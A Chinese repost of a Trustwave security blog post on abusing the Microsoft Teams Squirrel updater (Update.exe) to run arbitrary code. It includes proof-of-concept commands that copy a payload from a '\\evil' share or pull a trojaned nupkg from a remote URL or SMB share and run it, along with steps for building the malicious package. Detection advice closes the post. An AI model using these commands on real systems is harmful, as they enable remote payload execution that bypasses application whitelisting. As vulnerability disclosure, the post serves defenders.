前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用Microsoft Teams Updater执行代码

使用Microsoft Teams Updater执行代码

作者头像
洛米唯熊
发布2020-08-10 10:11:00
1.1K0
发布2020-08-10 10:11:00
举报
文章被收录于专栏:洛米唯熊洛米唯熊

0x00简介:

红队成员喜欢通过“合法”渠道寻找新的代码执行方法.这次,Microsoft Team 也是利用的目标.Team是一个有趣的利用点,因为它使用了称为Electron的现代技术.Electron基本上是嵌入在可执行文件中的nodejs.让我们使用Microsoft Teams附带的Update.exe深入了解应用程序白名单绕过.

0x01分析:

首先,将Teams.exe安装在以下位置

代码语言:javascript
复制
“%userprofile%\ AppData \ Local \ Microsoft \ Teams \”

这很奇怪.关于为什么这是一个坏主意还有很长的篇幅:

代码语言:javascript
复制
https : //www.masterpackager.com/blog/how-microsoft-teams-installer-should-have-looked-like-from-the-beginning

从红队的角度来看,好消息是,作为用户,我们可以完全访问整个文件夹的内容.典型的Teams安装应包含以下文件:

Update.exe实际上是Squirrel Updater,它是开源的。

让我们专注于应用程序的主要部分:

代码语言:javascript
复制
https : //github.com/Squirrel/Squirrel.Windows/blob/develop/src/Update/Program.cs

主要方法是调用以下方法:

代码语言:javascript
复制
int executeCommandLine(string [] args)

此方法解析命令行参数.可接受的参数在switch case语句中列出,如下所示:

代码语言:javascript
复制
switch (opt.updateAction) {
    case UpdateAction.Install:
    case UpdateAction.Uninstall:
    case UpdateAction.Download:
    case UpdateAction.Update:
    case UpdateAction.CheckForUpdate:
    case UpdateAction.UpdateSelf:
    case UpdateAction.Shortcut:
    case UpdateAction.Deshortcut:
    case UpdateAction.ProcessStart:
    case UpdateAction.Releasify:
}

马上,ProcessStart看起来很有趣.如果代码达到这种情况,则执行以下代码:

代码语言:javascript
复制
ProcessStart(opt.processStart,opt.processStartArgs,opt.shouldWait);

使用以下开关–processStart和--process-start-args将这两个参数传递给Update.exe .您可以看到是否列出了Squirrel用法,令人惊讶的是,帮助菜单没有列出这些奇妙的参数,通常这是我们进入某个领域的好兆头.

ProcessStart方法正在执行多项检查,我仅介绍相关检查.

代码语言:javascript
复制
var appDir = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
var releases = ReleaseEntry.ParseReleaseFile(
File.ReadAllText(Utility.LocalReleaseFileForAppDir(appDir), Encoding.UTF8));
代码语言:javascript
复制
var latestAppDir = releases
var targetExe = new FileInfo(Path.Combine(latestAppDir, exeName.Replace("%20", " ")));
// Check for path canonicalization attacks
if (!targetExe.FullName.StartsWith(latestAppDir, StringComparison.Ordinal)) {
    throw new ArgumentException();
}

appDir变量包含Update.exe的路径.在这种情况下,releases变量将解析为最新的构建文件夹位置,即“当前”.如源代码中所述,if语句正在检查路径规范化攻击.这意味着–processStart的设置为

代码语言:javascript
复制
.. \ .. \ .. \ .. \ .. \\ windows \ system32 \ cmd.exe

将导致以下输出:

代码语言:javascript
复制
targetExe.FullName will equal to C:\windows\system32\
And latestAppDir will equal to C:\Users\*\AppData\Microsoft\Teams\current\

不幸的是,这将杀死我们的任意文件执行路径.但是,由于Microsoft的决定,没有将Teams安装到典型的“ Program Files”文件夹中,因为当前用户可以完全写入AppData.

为了能够执行任意文件,我们只需要将其复制到

代码语言:javascript
复制
C:\Users\*\AppData\Microsoft\Teams\current\

文件夹中即可.

然后,代码最终将达到致命点,如下所示:

代码语言:javascript
复制
Process.Start(new ProcessStartInfo(targetExe.FullName, arguments ?? "")
{ WorkingDirectory = Path.GetDirectoryName(targetExe.FullName) });

此时,您通过Microsoft Signed二进制文件执行了二进制文件.

0x02:简单的概念证明:

代码语言:javascript
复制
Copy \\evil\payload.exe C:\users\*\AppData\Local\Microsoft\Teams\current\ && C:\users\*\AppData\Local\Microsoft\Teams\Update.exe –processStart payload.exe –process-start-args go.

总之,Squirrel适当地减轻了任意文件的执行.但是,Microsoft决定将Teams安装在用户可写的位置,以使攻击者无法通过进行的安全检查.

还记得开关的例子吗?

让我们看一下UpdateAction.Update.update操作支持–update参数,这是更新网站的URL.

Update方法正在执行以下操作:

代码语言:javascript
复制
var updateInfo = await mgr.CheckForUpdate(intention: UpdaterIntention.Update, ignoreDeltaUpdates: ignoreDeltaUpdates, progress: x => Console.WriteLine(x / 3));
await mgr.DownloadReleases(updateInfo.ReleasesToApply, x => Console.WriteLine(33 + x / 3));
await mgr.ApplyReleases(updateInfo, x => Console.WriteLine(66 + x / 3));

更新检查是根据指定的URL获取RELEASES文件.RELEASES格式非常简单:SHA1软件包大小.预期的文件是nupkg.幸运的是,Teams非常友善地提供了一个Nupkg软件包的样本,作为Teams安装的一部分.

下载文件后,将启动Squirrel进程.通过解压缩Teams nupkg文件,显示Squirrel.exe的位置:

代码语言:javascript
复制
Teams-1.2.00.13765-full \ lib \ net45

将Squirrel.exe更改为您的有效负载,并确保将其重命名为Squirrel.exe.压缩整个文件夹,并使用适当的哈希值和大小更新RELEASES文件.

在这种情况下,RELEASES文件具有以下结构:

代码语言:javascript
复制
53329bb727098e84ecf7d7f897de1bc501268cd1 Teams-1.2.00.13765-full.nupkg 1185211

为了能够执行程序包,在这种情况下,只需指向您的URL:

代码语言:javascript
复制
Update.exe –update https://www.xxx.com

Enjoy your shell.

0x03观察分析:

最初发现允许恶意行为者使用MS Teams Updater下载他们想要的任何二进制文件或有效负载.这种技术通常被称为“Living Off the Land ”,并且由于使用已知的通用软件下载恶意软件而特别危险.

先前为Teams提供的补丁是为了限制其通过URL更新的能力.而是,更新程序允许通过共享或本地文件夹进行本地连接以进行产品更新.

最初,当观察到这一发现时,发现它仍然可以用作横向移动的技术,但是,发现通过指向远程SMB共享可以轻松绕开添加的限制.

0x04合法事件:

代码语言:javascript
复制
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update \\fileshare\<redacated>\AppData\Roaming\Microsoft\Teams\DownloadedUpdate
%localappdata%\Microsoft\Teams\update.exe --update

0x05当前补丁:

根据补丁程序,Microsoft Teams Updater将仅允许本地网络路径访问和更新,这意味着它将在更新程序URL,块和日志中检测字符串

代码语言:javascript
复制
"http/s", ":", "/" 

和端口号下的活动

代码语言:javascript
复制
%localappdata%\Microsoft\Teams\SquirrelSetup.log

它允许以本地UNC格式进行共享访问:

代码语言:javascript
复制
\\ server \

要利用此漏洞,攻击者需要:

在打开的共享文件夹中获取网络内部的文件.从该共享访问有效负载到受害机器.看起来情况很复杂,路途漫长,但我们可以使其成功.

0x06 Remote Samba:

为了减少攻击步骤,攻击者可以创建远程共享,而不是本地共享.这将允许他们下载远程有效负载并执行,而不是尝试通过中间步骤将有效负载获取到本地共享.

对Samba进行了一些研究,并配置了Samba服务器以进行远程公共访问.成功安装后,启动了命令执行,下载了远程有效负载,并直接从Microsoft Teams Updater“ Update.exe”执行

代码语言:javascript
复制
Command: Update.exe --update=\\remoteserver\payloadFolder

0x07脆弱的端点:

代码语言:javascript
复制
%localappdata%/Microsoft/Teams/update.exe

0x08进攻部分:

要利用此漏洞,必须首先制作支持更新程序框架的有效负载

一、创建有效负载

提取任何nupkg包,在我的示例中为Teams-1.3.00.27559-full.nupkg

转到

代码语言:javascript
复制
%localappdata%/ Microsoft / Teams / packages

以选择Microsoft Teams预先构建的软件包

转到

代码语言:javascript
复制
Teams-1.3.00.27559-full \ lib \ net45

将您的shellcode拖放为"squirrel.exe",将完整文件夹压缩为"Teams-1.3.00.27559-full.nupkg"

使用以下命令计算元数据:

代码语言:javascript
复制
sha1sum Teams-1.3.00.27559-full.nupkg && wc -c <Teams-1.3.00.27559-full.nupkg

输出为:

代码语言:javascript
复制
fa8b87f0b995498a6e890c832dcaf968997608d4 Teams-1.3.00.27559-full.nupkg 4695

创建一个名为RELEASES的文件,并复制以上输出并保存.

其结果将是一个包含两个文件的主目录:

代码语言:javascript
复制
Teams-1.3.00.27559-full.nupkg and RELEASES.

将这两个文件上传到远程Samba服务器:

二、需求:

由于它是Samba服务器,因此需要首先从Windows“运行”对服务器进行身份验证.

三、重现步骤:

转到受害者系统上的目标应用程序文件夹

代码语言:javascript
复制
“%localappdata%/ Microsoft / Teams /”

运行以下命令:

代码语言:javascript
复制
update.exe --update = [Samba服务器包含上述2个文件],
代码语言:javascript
复制
例如update.exe --update = \\ remoteserver \ payloadFolder

几秒钟后(等待10-15秒),有效负载将被成功下载并由Microsoft Teams执行

受影响的参数:

代码语言:javascript
复制
update.exe --update = \\ remoteserver \ payloadFolder
update.exe --updateRollback = \\ remoteserver \ payloadFolder

POC验证视频

视频链接:https://player.vimeo.com/video/444679044?api=1&player_id=vimeo_id_0

0x09影响:

Microsoft Teams Update.exe二进制文件将充当LOLbin(删除Land二进制文件)

由于安装位于本地用户Appdata文件夹中,因此不需要特权访问.攻击者可以借此伪装流量(尤其是横向移动)

0x10Trustwave建议:

从威胁搜寻的角度

利用EDR解决方案,并查看“ update.exe”命令行中的可疑连接.寻找squirrel.exe可执行文件并调查文件的大小,您可以使用该文件来区分特洛伊木马和合法的squirrel.exe

如果您正在与Microsoft Teams“ update.exe”打交道,请验证大小和哈希值,寻找任何异常情况.研究传出的SMB连接,尤其是从Microsoft Teams更新程序update.exe中进行传出的SMB连接,或者在必要时完全在外围过滤SMB连接.

请求客户或IT寻求Microsoft Teams软件包放置的任何安全排除措施,并查看所应用的更改.

IT部门应将Microsoft Teams安装在“ Program Files”文件夹下,以使攻击者无法删除并执行远程有效负载.这可以通过组策略来执行.

禁用任何类型的更新机制,并设置仅由IT团队推送更新的策略

文章原文地址:

代码语言:javascript
复制
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档